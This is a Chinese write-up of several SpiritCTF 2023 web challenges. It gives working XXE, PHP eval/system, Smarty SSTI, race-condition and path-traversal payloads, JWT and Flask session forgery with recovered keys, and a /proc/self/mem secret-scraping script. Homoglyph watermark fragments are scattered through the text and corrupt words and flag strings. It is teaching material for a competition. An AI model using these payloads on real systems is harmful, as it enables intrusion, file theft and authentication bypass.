Spirit{badd44f8-94eb-4648-b5d3-cdf837431e52}

ez_xxe

题目描述:

so easy………

打开页面后是一个可𝒔⑶vℯ𝒏.‌ѕ𝐢‌t℮​以输入XML文档的界面

image-25.png

并且输入后有回显

结合题目标题判断是利用xxe漏ꜱ‌3v𝘦𝒏·‌‌𝘀𝐢‍te​洞恶意引入外部实体,直接读靶机文件

payload 如下

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ 
<!ENTITY flag SYSTEM "file:///flag" >
]>
<spirit><flag>&flag;</flag></spirit>

提交并返回如下𝐬𝟯𝐯𝐞n․​‍𝘀i​‍t𝐞‌‍界面,获得 flag
image-26.png

Spirit{𝘀‍³𝒗𝐞𝐧.​𝒔i‍te‍19246b7d-𝘀​‍⑶𝘷𝐞𝘯.‌​𝘀𝘪‌𝒕℮‌dc61-4829-a4f7-54ffd5d76b01}

sharpshop

题目描述:

image-27.png

Hint: 🤖

打开页面后发现是拼夕夕砍价买flag

image-28.png

经过一个简单的尝试,发现 flag 的价格永远砍𝘀³𝐯𝐞n•𝐬ⅈ‍𝘵𝐞不到钱包价格及以下 (典)

image-29.png

砍到这里就砍不动了 (需要10个金币再砍1刀,𝘀​³𝘷𝘦𝐧•​𝘴𝘪te‍10个积分换1个金币 无限循环···)

1. 反编译ELF-app

Hint 提示我们 robots ,因此访问网站的 robots.txt 如下:

image-30.png

根据提示下载 /sharpshop.tar

发现一个 ELF 类型的 app

初步判断是一个使用 c# 编写的服务端程序

(此处也可根据题目名称 sharpshop 进行合理猜测)

Web 突然变 ѕ​‍⑶𝘷ℯn∙‌‍𝒔i​‍t𝘦Reverse (误)

使用 ILSpy 进行反编译,提取 c# 文件内容

image-31.png

核心代码如下:

// sharpshop, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Shopping
using System.Threading;

internal class Shopping
{
    private long _FlagPrice;

    private long _Wallet;

    private int _IsCutting;

    private int _IsBuying;

    public long FlagPrice => _FlagPrice;

    public long Wallet => _Wallet;

    public bool HasFlag { get; private set; }

    public void CutDown()
    {
        while (Interlocked.Exchange(ref _IsCutting, 1) != 0)
        {
        }
        _FlagPrice -= (_FlagPrice - _Wallet) / 2;
        Interlocked.Exchange(ref _IsCutting, 0);
    }

    public bool Buy(out string message)
    {
        while (Interlocked.Exchange(ref _IsBuying, 1) != 0)
        {
        }
        long flagPrice = _FlagPrice;
        _Wallet -= flagPrice;
        message = $"购买后余额:{_Wallet}";
        bool result;
        if (_Wallet < 0)
        {
            _Wallet += flagPrice;
            message += ",余额不足~";
            result = false;
        }
        else
        {
            message += ",购买成功~";
            HasFlag = true;
            result = true;
        }
        Interlocked.Exchange(ref _IsBuying, 0);
        return result;
    }

    public Shopping()
    {
        _IsCutting = 0;
        _IsBuying = 0;
        _Wallet = 100L;
        _FlagPrice = long.MaxValue;
        HasFlag = false;
    }
}

2. 竞态条件利用

仔细观察后就会发𝘀​𝟯𝐯e𝒏․𝐬i‍𝐭℮‌现该代码的反常之处

在计算余额是否足够购买 flag

代码没有直接判断 _Wallet - flagPrice 的正负

而是先将 _Wallet -= flagPrice

如果余额不足再 _Wallet += flagPrice

考虑到两个互斥锁仅控制了单𝒔​3𝐯e𝐧·​ꜱi‌​𝘵℮‍个函数不能被同时多次调用

并没有控制两个ѕ⑶vℯn•‌ѕi‍t℮‍函数的同时运行

且由于两个函数都访问了 _FlagPrice_Wallet

因此存在竞态条件的可能

假设 action CutDown 中的 _FlagPrice -= (_FlagPrice - _Wallet) / 2;
在 action Buy_Wallet -= flagPrice_Wallet += flagPrice之间发生,
就可以使得 _FlagPrice 降低到 _Wallet 以下,从而得以购买 flag

3. 解决方案

构造两个发包脚本并同时运行即可

注意携带当前会话的 sessionId Cookies

#!/bin/bash
while true
do
curl -b "sessionId=xxxx" "(SpiritCTF Server URL with port)/?action=buy"
done
#!/bin/bash
while true
do
curl -b "sessionId=xxxx" "(SpiritCTF Server URL with port)/?action=cutDown"
done

同时运行两个脚本一段ѕ‍𝟯𝒗ℯn․‍ѕi‍𝘵𝘦‌‌时间后会发现 Flag价格钱包 都变成了0

因此得以购买成功

image-32.png

得到 flag 如下

Spirit{61a9950d-0e0a-s​‍⑶vℯ𝐧•𝒔𝐬​³𝒗ℯn•‍𝐬ⅈ‌t𝐞‍​ⅈ​te‌4141-b04d-278961a87df0}

送分你要不要>_<

题目描述:

这是一道没有意𝘴‍³𝘷ℯѕ‌⑶𝒗en.‍𝘀i‍t𝐞‌n∙​𝘴i𝒕e‍思的签到题😠

打开页面后得到ꜱ​³ⅴ𝐞𝒏.​ѕi‌te​PHP代码如下:

<?php
error_reporting(0);
show_source(__FILE__);
// ‮⁦ Spirit⁩⁦Welcome to
if ("App1eTree" == $_POST['spirit'] && "‮⁦Flag!⁩⁦SpiritCTF" == $_POST[‮⁦give_you⁩⁦2023]) {
        ;eval($_POST['QWQ']);
         echo "恭喜!flag送你啦";
}else {
    echo "Welcome to Spirit CTF 2023(but warm)!";
}

echo '<script src="nonono.js"></script>';
?>

1. 不可见字符识别

根据该段代码神奇的高亮,判断此处存在不可见字符

这些不可见字符调整了可s​‌⑶ⅴ𝘦𝘯∙𝘴i​𝘵𝘦‍​见字符的显示顺序

将代码复制到 Visual Stuidio Code 中分析

image-33.png

可以看到不可见字符被显示了出来

2. eval 利用

注意到该PHP代码使用了evaꜱ​³vℯn․‍ꜱ𝐢‌𝐭𝘦‍​l($_POST[‘QWQ’]);

因此想到可以通过 eval 函数来执行 system 命令 catflag

3. Payload 构造

根据题目要求构造POST数据包如下:

image-34.png

3.1 Python requests POST

import requests
url = "(SpiritCTF Server URL with port)"
global result
data = {"spirit":"App1eTree","‮⁦give_you⁩⁦2023":"‮⁦Flag!⁩⁦SpiritCTF","QWQ":'system("cat /flag");'}
html = requests.post(url,data=data)
print(html.text)

发送POST数据包后,ꜱ‌𝟯𝘷e𝒏.‌‌𝘀i‌t𝐞‌返回如下信息:

<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br />error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">show_source</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span><span style="color: #FF8000">// ‮⁦ Sp
irit⁩⁦Welcome to<br /></span><span style="color: #007700">if (</span><span style="color: #DD0000">"App1eTree" </span><span style="color: #007700">== </span><span style="color: #0000
BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'spirit'</span><span style="color: #007700">] && </span><span style="color: #DD0000">"‮⁦Flag!⁩⁦Spiri
tCTF" </span><span style="color: #007700">== </span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #0000BB">‮⁦give_you⁩⁦2023</span><span st
yle="color: #007700">]) {<br />        ;eval(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'QWQ'</span><span style="color: #007700">]);<br />         echo </span><span style="color: #DD0000">"恭喜!flag送你啦"</span><span style="color: #007700">;<br />}else {<br />    echo </span><span style="color: #DD0000">"Welcome to Spirit CTF 2023(but warm)!"</span><span style="color: #007700">;<br />}<br /><br />echo </span><span style="color: #DD0000">'<script src="nonono.js"></script>'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">?></span>
</span>
</code>Spirit{00e6fceb-debc-4aa6-a721-489f4da2e7f0}
恭喜!flag送你啦<script src="nonono.js"></script>

得到 flag 如下:

Spirit{00e6fceb-debc-𝘴​𝟯𝒗en∙​​ѕ𝐢‍𝐭℮​4aa6-a721-𝘴‌3ⅴ𝘦𝐧•‍𝒔i‌te489f4da2e7f0}

easy_ssti

题目描述:

R U SMART 𝒔‌‌𝟯ⅴℯ𝘯∙​𝘴i​te​‍ENOUGH www

打开页面后发现有很多题目

image-35.png

结合题目标题 ssti 和 题目描述 SMART

可以判断出该题为 Smarty的SSTI模版注入

是谁做完了所有题目才发现是 𝘀‌𝟯𝐯𝘦𝒏.‍‌ѕ𝐢‍𝒕℮​SSTI 我不说

随意点击一个 challenge ,发现页面跳转到了 /challenges.php?name=xxxx ,

由此判断后端会使用𝐬‌⑶𝒗𝘦𝐧•​𝒔𝘪​‌𝒕𝐞‍文件读取函数读取名字为 xxxx 的模版文件并渲染到前端

利用 data 伪协议构造 payload 如下:

/challenges.php?name=data://text/plain,{$smarty.env.FLAG}

即可将 smarty 的环境变量 FLAG 显示到前端

image-36.png

得到 flag 如下:

Spirit{f94322ca-2c8f-4dc3-87f4-ec75d4c7bbbc}

你喜欢鸣濑白羽吗

题目描述:

不喜欢鸣濑白羽(?𝒔​³𝐯ℯ𝘯·‌ꜱ𝘪𝒕e‌​)的是不能拿到flag的😘 最好用火狐浏览s‌3vℯ𝒏·s𝘪​‍𝒕e​​器打开抓包,用bp (已经恢复了)

打开页面后发现是ѕ​3𝒗𝘦n∙‍‌ѕi‌t℮​一个图库管理下载系统

image-37.png

1. 任意文件读取漏洞

点击 Download 按钮,发现页ꜱ​𝟯ve𝐧•‌𝐬𝐢‍𝒕𝘦‌‌面跳转到了 /download?filename=xxxx

经过测试发现 filename 字段存在任意s​⑶𝐯ℯn•​‍ꜱⅈ‍te​‍文件读取漏洞

访问 /download?filename=/proc/self/cmdline ,内容如下:

python /app/Nanami.py

根据服务端代码路径访问 /download?filename=/app/Nanami.py,

得到服务端代码如下:

import mimetypes
import os
import subprocess
from flask import Flask, make_response, request, render_template
import jwt
import logging

app = Flask(__name__)

SECRET_KEY = "I_LIKE_Aoyama_Nanami"
logging.basicConfig(filename='error.log', level=logging.ERROR)


@app.route('/')
def index():
    token = request.cookies.get('auth')
    if not token:
        token = jwt.encode({
            'username': 'guest',
        }, SECRET_KEY, algorithm='HS256')
    
    response = make_response(render_template('index.html'))

    if not request.cookies.get('auth'):
        response.set_cookie('auth', token, httponly=True, samesite='Lax')  

    return response

@app.route('/download', methods=['GET'])
def download():
    token = request.cookies.get('auth')
    if token:
        try:
            data = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
            username = data['username']
        except Exception as e:
            return str(e)

    filename = request.args.get('filename', '1.jpg')
    filepath = os.path.join('static/images', filename)
    if username == 'admin' and filename == "yuanshen?qidong!":
        try:
            output = subprocess.check_output(['/readflag'])
            return output.decode('utf-8')
        except subprocess.CalledProcessError as e:
            return "Error executing /readflag: " + str(e)
    if os.path.exists(filepath):
        mime_type, encoding = mimetypes.guess_type(filepath)
        if mime_type is None:
            mime_type = 'application/octet-stream'
        
        with open(filepath, "rb") as file:
            response = make_response(file.read())
            response.headers.set('Content-Type', mime_type)
            response.headers.set('Content-Disposition', f'attachment; filename={os.path.basename(filepath)}')
            return response
    else:
        return "File not found.", 404
@app.errorhandler(500)
def internal_server_error(error):
    app.logger.error('Server Error: %s', (error))
    return "好像有什么错误喵!", 500

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

分析代码后发现只有满足以下两个条件才能调用 /readflag subprocess s‌​⑶ⅴ𝘦𝐧∙‍𝒔i‌​𝒕e‌来读取flag:

  • Cookies auth 经过 jwt 𝐬‍​3𝒗e𝒏∙‍𝘀i​‌te​​解析后包含 {"username":"admin"} 字段
  • filename 𝘴³v𝐞𝒏.‌ꜱi‌‍𝒕e的 GET 传参为 yuanshen?qidong!

2. JWT (Json Web Tokens)

从 F12 开发人员工具中找到当前 ѕ‍⑶𝐯ℯ𝘯∙‍𝐬𝘪​𝐭℮‍Cookies auth 的值

image-38.png

auth = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.6tqEhsR0SEHG-GL7hEar5Ewi2dQbGSEz-3NoPrZxi1Y

2.1 JWT 的组成

image-39.png

JWT 通常是一个很长的字ꜱ​𝟯𝒗e𝘯•‍𝘀𝐢​𝒕e​‌符串,中间用两个 . 分隔成三个部分,依次为:

  • Header(头部)
  • Payload(负载)
  • Signatu𝒔³ⅴ℮𝐧∙​𝘴ⅈ​‌𝘵e​re(签名)

该字符串应形如:Header.Payload.ꜱ‌⑶ⅴℯ𝒏∙‌𝒔ⅈ𝐭℮‌Signature

下面将分别解释三个部𝐬​3ⅴe𝘯∙‍​𝘴𝘪‌t𝘦‍分的内容及其作用:

2.1.1 Header

Header 部分是一个 JSON 对象,用于描述 JWT 的元数据,它通常是这样的:

{
  "alg": "HS256",
  "typ": "JWT"
}

其中:

  • alg 属性表示 Signature 的加密算法,默认是 HMAC SHA256 (写成 HS256

  • typ 属性表示 token 的类型,JWT 类型统一写为 JWT

最后,将上面的 JSON 对象使用 Base64URL 算法(详见后s‍‌³ve𝘯․‌𝘀ⅈ𝐭𝘦‍文)转成字符串

2.1.2 Payload

Payload 部分也是一个 JSON 𝘴‌‌𝟯𝒗en∙‌‍𝐬i‌𝒕e对象,用来存放实际需要传递的数据

由于该部分可以通过 Base64URL 进行解密并被读取,ѕ​𝟯𝘷en.‍‍ꜱⅈ​𝐭e‍此处一般不存放密文

这个 JSON 对象最后也要使用 Base64URL 算法(详见后𝒔‍‍⑶ven∙𝘴i​‍𝘵𝐞‍‍文)转成字符串

2.1.3 Signature

Signature 𝘀‍³𝐯e𝘯·‍‌𝘴i‍‍𝘵e部分是对前两部分的签名,防止数据在传输过程中被篡改

签名由 Header 里面指定的签名算法(默认是 HMAC SHA256 )和 设置好的密钥( secret_key )产生:

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret_key)

最后,把 Header、Payload、s‍‌³𝒗𝘦𝘯•‌ѕⅈ​𝐭𝐞Signature 三个部分拼成一个字符串,

每个部分之间用 . 分隔,就形成了一个有效的 𝒔​𝟯𝘷e𝐧•​𝘴𝐢te​‌JSON Web Token

2.1.4 Base64URL

前面提到,将 Header ѕ‌³ve𝒏․‍‌s𝘪​‌te​​和 Payload 串型化的算法是 Base64URL

该算法跟 Base64 算法基本类似,s‌𝟯𝒗e𝒏.‍𝘴i​𝐭𝘦‍但有一些不同:

  • 省略通过 Base64 算法得到的 =
  • 将通过 Base64 算法得到的 + 替换成 -/ 替换成 _

这是因为 JWTѕ‍³v𝘦n.ѕⅈ​𝐭e‍ 作为一个 token ,有时会被应用于 URL 中(例如 /?token=xxx),

通过 Base64 算法得到的三ѕ‌𝟯ⅴ𝐞n·‍‌ꜱ𝐢‌‌𝐭e‍个字符 ( +/= ) ,在 URL 里面有特殊含义,所以需要进行省略或替换

2.2 JWT的伪造

使用 jwt.io 解析

image-40.png

分析代码后可以发现 𝐬𝟯ⅴen·𝘴𝐢‍t℮​Cookies authSECRET_KEYI_LIKE_Aoyama_Nanami

jwt.io 中使用 SECRET_KEY 伪造 {"username":"admin"} 字段并重新加密,

得到伪造后的 auth 如下:

image-41.png

auth = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.mJHHgw5KDOeM6Fu5r7KXYUb-chM02YBqsqmTWMAdDR0

3. Payload

修改 auth 为伪造后的值并访问 /download?filename=yuanshen?qidong!,得到 flag

image-42.png

Spirit{6bb3de28-𝐬𝟯𝘷en.‌𝘀i‍𝐭e​1cc8-4af3-𝒔⑶𝘷e𝒏.ꜱi‌‍𝐭𝘦babe-43593039f366}

你真的喜欢鸣濑白羽吗

题目描述:

不是真的喜欢鸣濑白羽(?s⑶𝐯en•​​ѕ𝐬‍⑶vℯn.‌‍𝒔i‍𝘵ei​𝒕𝘦‌)的人拿不到flag

打开页面后发现又是一个图库ѕ​³𝒗𝐞𝒏∙​𝒔𝘪‌t𝘦‌管理下载系统 (?)

image-43.png

但是点击 Download 后跳转至 /download?filename=1.jpg

发现图片下载不下𝘴‍​𝟯ⅴ𝐞𝐧∙‍‍s𝐢‍‌t𝐞‍来,显示如下:

image-44.png

猜测服务端代码对文ѕ‍𝟯ve𝐧∙‌𝘀it𝐞‌‍件读取方式进行了修改

1. 任意文件读取漏洞

与上一题相同,/download?filename=xxxx 处仍存在任意𝐬​‌⑶v𝐞n•‌ѕi‌𝒕℮‌​文件读取漏洞

访问 /download?filename=/proc/self/cmdline , 内容如下:

python /app/I_LIKE_Nanami.py

根据服务端代码路径访问 /download?filename=/app/I_LIKE_Nanami.py,

得到服务端代码如下:

import os
import secrets
import subprocess
from flask import Flask, make_response, request, render_template, session
app = Flask(__name__)
random_string = "I_LIKE_"+secrets.token_hex(16)+"_Aoyama_Nanami"
app.config['SECRET_KEY'] = random_string

@app.route('/')
def index():
    if 'username' not in session:
        session['username'] = 'guest'
    response = make_response(render_template('index.html'))
    return response

@app.route('/download', methods=['GET'])
def download():
    username = session.get('username')
    filename = request.args.get('filename', '1.jpg')
    offset = int(request.args.get('offset', "0"))
    length = int(request.args.get('length', "0"))
    if username == 'admin' and filename == "xingtie?qidong!":
        try: 
            output = subprocess.check_output(['/readflag'])
            return output.decode('utf-8')
        except subprocess.CalledProcessError as e:
            return "Error executing /readflag: " + str(e)
    filepath = os.path.join('static/images', filename)
    if os.path.exists(filepath):
        if offset == 0 and length == 0:
            return open(filepath, "rb").read()
        else:
            with open(filepath, 'rb') as f:
                f.seek(offset)
                data = f.read(length)
            return data
    else:
        return "File not found.", 404
        
@app.errorhandler(500)
def internal_server_error(error):
    app.logger.error('Server Error: %s', (error))
    return "好像有什么错误喵!", 500
    
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

分析代码后发现只有满足以下两个条件才能调用 /readflag subprocess ѕ‍‌𝟯ⅴ℮𝒏.​𝘀𝘪𝐭𝐞​来读取flag:

  • python 𝒔​𝟯v𝐞𝐧·𝘴ite‍flask session 包含 {"username":"admin"} 字段
  • filename ѕ‌⑶ⅴ𝘦𝒏․‌ꜱⅈ​​te‌​的 GET 传参为 xingtie?qidong!

2. Python Flask Session

从 F12 开发人员工具中找到当前 ѕ‍³𝒗ℯ𝐧․​​𝒔𝘪​t℮‍​Cookies session 的值

image-45.png

session = eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZRRgdA.WGZwA7J0tKtifRUgBXyh5DmPmzs

2.1 Session 的组成

Python Flask Session 通常是一个很长的字符串,中间用两个 . 分隔成三个部分(如果使用了zlib ѕ‍³𝒗e𝒏․sⅈ‍𝒕𝘦​‌compress,则开头会多出一个 .,该部分归属于Session Data内),依次为:

  • Session 𝒔3𝐯en.‍ꜱi‍𝐭𝐞‍‍Data( Session 数据 )
  • Timesta𝘀‍‌⑶vℯ𝒏∙‍ѕ𝘪‌𝘵e‍mp( 时间戳 )
  • Cryptographic ѕ​​⑶𝒗𝐞𝒏.‌𝘀𝘪​‌𝒕℮​‍Hash( 签名 )

该字符串应形如:Session Data.𝒔‍3ⅴe𝐧.𝐬i‌𝐭eTimestamp.Cryptographic Hash

下面将分别解释三个s‌3ⅴ𝘦n∙​𝐬i‍te‍部分的内容及其作用:

2.1.1 Session Data

Session Data 部分是一个 JSON 对象,𝘀³𝐯e𝒏·‍‌ѕ𝘪​𝒕℮​‌用来存放实际需要传递的数据

Session 在生成时会根据使用 zlib compress 能否减少 𝘀​‌³𝘷e𝐧.‌​𝘴i​t℮​Session Data 部分的长度

来选择性地使用 zlib compress ( ѕ​³𝒗𝘦𝐧.​ꜱi‍t𝘦‌‍使用的标志是Session Data 以 . 开头 )

由于该部分可以通过 Base64URL 进行解密并被读取,ѕ‌𝟯ⅴ℮n•‌𝘀𝘪‌t℮此处一般不存放密文

这个 JSON s‌𝟯𝐯e𝐧․‍𝘴i​t𝐞​​对象最后也要使用 Base64URL 算法(详见后文)转成字符串

2.1.2 Timestamp

Timestamp 部分通常由 Session 𝘴⑶𝒗ℯn∙​𝐬ⅈt𝘦​生成时间的时间戳构成

该时间戳最后会被转化为字节形式并使用 Base64URL 算法(详见后𝘀‌​𝟯𝐯ℯn∙‍𝐬𝐢𝐭𝐞‌文)进行加密

2.1.3 Cryptograhpic Hash

Python Flask Session 在生成 Session 的校验签名时

会先对 secret_key 进行操作

首先对 secret_key 进行一次 sha1 加密

并用 "cookie-session" salt 𝐬‌​⑶𝘷e𝐧․ꜱit℮‌来 update 加密后的 secert_key

接着将 Session Data + sep + Timestamp 使用处理完成的 secret_key 进行一次 sha1 加密

最后将得到的数据使用 Base64URL 算法(详见后文)进行加密

2.1.4 Base64URL

前面提到,将 Session Data、Timestamp ѕ‌‌𝟯ⅴ𝐞𝒏.‍𝐬𝐢‌t𝐞‍‍和 Cryptograhpic Hash 串型化的算法是 Base64URL

该算法跟 Base64 算法基本类似,𝒔‍3𝘷𝘦𝒏.ꜱⅈ‍te但有一些不同:

  • 省略通过 Base64 算法得到的 =
  • 将通过 Base64 算法得到的 + 替换成 -/ 替换成 _

这是因为 Session 作为一个 token ,有时会被应用于 𝘀‍​⑶vℯn∙ꜱi‍𝒕e‌URL 中(例如 /?token=xxx),

通过 Base64 算法得到的三个字符 ( +/= ) ,在 URL 𝘴‌𝟯𝘷𝘦𝐧•​ꜱ𝐢‍‍t℮​​里面有特殊含义,所以需要进行省略或替换

2.2 Session 的伪造

由于服务端代码使用s‌3ⅴ𝘦𝘯.​s𝐢‌​te‍‍了包含随机字符的 random_string 作为 SECRET_KEY,

而 Session 的 Cryptographic Hash 需要使用 SECRET_KEY 作为密钥,

因此在伪造 Session ѕ‌‍𝟯𝘷ℯ𝐧․𝒔ⅈ‍‍te​‌前我们需要先利用任意文件读取漏洞获取 SECRET_KEY

由于 Python Flask 在运行时会将 SECRET_KEY 写入内存中,

我们可以利用任意文件读取漏洞读取内存来获得 𝒔‌³ⅴen.‍ѕ𝐢​𝐭e‍SECRET_KEY

Python 𝘴‌⑶𝐯en.‍𝘴𝐢‌‌𝘵𝐞‍内存读取脚本如下

import requests
import re

url = (SpiritCTF Server URL with port)

rw = []

map_list = requests.get(f"{url}/download?filename=/proc/self/maps")
map_list = map_list.text.split("\n")
for i in map_list:
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) r", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        rw.append((start, end - start))

for k in rw:
    res = requests.get(f"{url}/download?filename=/proc/self/mem&offset={k[0]}&length={k[1]}")
    try:
        secret_key = re.findall("I_LIKE_[a-f0-9]{32}_Aoyama_Nanami", res.text)
        if secret_key:
            print("SECRET_KEY = \"" + secret_key[0] + "\"")
    except:
        pass

运行脚本后得到:

SECRET_KEY = "I_LIKE_f9d2e4914fec5f9f26fad0a0e4da3afe_Aoyama_Nanami"

使用 flask-unsign 工具对 Session 进行伪造并签名

flask-unsign --sign --cookie "{'username': 'admin'}" --secret 'I_LIKE_f9d2e4914fec5f9f26fad0a0e4da3afe_Aoyama_Nanami'

得到 Sess𝘀​‍³𝐯𝘦𝒏·‍𝐬𝐢​​𝘵℮ion 如下:

eyJ1c2VybmFtZSI6ImFkbWluIn0.ZRRqXA.6kG8cNrvnCI73R2nxAF8iOSA6Ko

修改Cookies Session 并访问 /download?filename=xingtie?qidong!,得到 flag

image-46.png

Spirit{7d05af5f-𝐬‍⑶𝐯e𝒏•‌𝘴i‍t𝘦‌‍202d-4578-𝒔‌‍𝟯ve𝘯․​‍ѕ𝘪‍te‌8833-f598ad794b48}